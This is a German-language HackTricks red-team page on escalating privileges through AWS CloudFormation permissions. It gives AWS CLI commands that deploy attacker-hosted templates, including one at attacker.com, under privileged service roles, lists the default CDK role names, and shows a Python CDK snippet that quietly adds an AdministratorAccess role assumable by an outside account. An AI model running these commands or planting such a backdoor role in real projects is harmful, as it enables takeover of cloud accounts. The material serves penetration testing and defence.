AWS - Cloudformation Privesc

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

cloudformation

Für weitere Informationen über cloudformation siehe:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Ein Angreifer mit diesen Berechtigungen kann Privilegien eskalieren, indem er einen CloudFormation-Stack mit einer benutzerdefinierten Vorlage erstellt, die auf seinem Server gehostet wird, um Aktionen unter den Berechtigungen einer angegebenen Rolle auszuführen:

bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Auf der folgenden Seite finden Sie ein Exploitation-Beispiel mit der zusätzlichen Berechtigung cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Potenzielle Auswirkungen: Privilegieneskalation zur angegebenen Cloudformation-Service-Rolle.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

In diesem Fall können Sie einen bestehenden Cloudformation-Stack missbrauchen, um ihn zu aktualisieren und die Privilegien wie im vorherigen Szenario zu eskalieren:

bash
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

Die cloudformation:SetStackPolicy Berechtigung kann verwendet werden, um sich selbst die UpdateStack Berechtigung für einen Stack zu geben und den Angriff durchzuführen.

Potenzielle Auswirkungen: Privesc auf die angegebene cloudformation-Dienstrolle.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Wenn Sie diese Berechtigung haben, aber keine iam:PassRole, können Sie dennoch die verwendeten Stacks aktualisieren und die IAM-Rollen, die bereits angehängt sind, missbrauchen. Überprüfen Sie den vorherigen Abschnitt für ein Exploit-Beispiel (geben Sie einfach keine Rolle in der Aktualisierung an).

Die cloudformation:SetStackPolicy Berechtigung kann verwendet werden, um sich selbst die UpdateStack Berechtigung für einen Stack zu geben und den Angriff durchzuführen.

Potenzielle Auswirkungen: Privesc auf die bereits angehängte cloudformation-Dienstrolle.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Ein Angreifer mit Berechtigungen, um eine Rolle zu übergeben und ein ChangeSet zu erstellen & auszuführen, kann einen neuen cloudformation-Stack erstellen/aktualisieren und die cloudformation-Dienstrollen missbrauchen, genau wie bei CreateStack oder UpdateStack.

Der folgende Exploit ist eine Variation des CreateStack Exploits, die die ChangeSet-Berechtigungen verwendet, um einen Stack zu erstellen.

bash
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Die cloudformation:SetStackPolicy Berechtigung kann verwendet werden, um sich selbst ChangeSet Berechtigungen über einen Stack zu geben und den Angriff durchzuführen.

Potenzielle Auswirkungen: Privesc zu cloudformation Dienstrollen.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Dies ist wie die vorherige Methode, ohne IAM-Rollen zu übergeben, sodass Sie einfach bereits angehängte verwenden können, ändern Sie einfach den Parameter:

--change-set-type UPDATE

Potenzielle Auswirkungen: Privesc auf die bereits angehängte Cloudformation-Service-Rolle.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Ein Angreifer könnte diese Berechtigungen missbrauchen, um StackSets zu erstellen/aktualisieren und willkürliche Cloudformation-Rollen auszunutzen.

Potenzielle Auswirkungen: Privesc auf Cloudformation-Service-Rollen.

cloudformation:UpdateStackSet

Ein Angreifer könnte diese Berechtigung ohne die passRole-Berechtigung missbrauchen, um StackSets zu aktualisieren und die angehängten Cloudformation-Rollen auszunutzen.

Potenzielle Auswirkungen: Privesc auf die angehängten Cloudformation-Rollen.

AWS CDK

Das AWS CDK ist ein Toolkit, das es Benutzern ermöglicht, ihre Infrastruktur als Code in Sprachen zu definieren, mit denen sie bereits vertraut sind, sowie Abschnitte einfach wiederzuverwenden. Das CDK konvertiert dann den hochgradigen Code (z. B. Python) in Cloudformation-Vorlagen (YAML oder JSON).

Um das CDK zu verwenden, muss ein administrativer Benutzer zunächst das Konto bootstrappen, was mehrere IAM-Rollen erstellt, einschließlich der exec role, die */* Berechtigungen hat. Diese Rollen folgen der Namensstruktur cdk-<qualifier>-<name>-<account-id>-<region>. Das Bootstrapping muss einmal pro Region und Konto durchgeführt werden.

Standardmäßig haben CDK-Benutzer keinen Zugriff auf die Rollen, die benötigt werden, um das CDK zu verwenden, was bedeutet, dass Sie diese manuell bestimmen müssen. Wenn Sie einen Computer eines Entwicklers oder einen CI/CD-Knoten kompromittieren, können diese Rollen angenommen werden, um sich die Fähigkeit zu geben, CFN-Vorlagen bereitzustellen, wobei die cfn-exec-Rolle es CFN ermöglicht, beliebige Ressourcen bereitzustellen und das Konto vollständig zu kompromittieren.

Bestimmung der Rollennamen

Wenn Sie cloudformation:DescribeStacks haben, sind die Rollen in einem Stack namens CDKToolkit definiert, und Sie können die Namen dort abrufen.

Wenn Sie sich auf einem Computer befinden, der zum Erstellen und Bereitstellen von CDK-Projekten verwendet wurde, können Sie sie aus cdk.out/manafest.json im Stammverzeichnis des Projekts abrufen.

Sie können auch eine gute Vermutung anstellen, was sie sind. qualifier ist eine Zeichenfolge, die den Rollen hinzugefügt wird, um mehrere Instanzen des CDK-Bootstraps gleichzeitig bereitzustellen, jedoch ist der Standardwert fest auf hnb659fds codiert.

# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>

Hinzufügen von bösartigem Code zum Projektquellcode

Wenn Sie in den Projektquellcode schreiben können, aber nicht selbst bereitstellen können (zum Beispiel, wenn der Entwickler den Code über CI/CD bereitstellt, nicht von der lokalen Maschine), können Sie die Umgebung dennoch gefährden, indem Sie bösartige Ressourcen zum Stack hinzufügen. Folgendes fügt eine IAM-Rolle hinzu, die von einem Angreiferkonto in ein Python-CDK-Projekt übernommen werden kann.

python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks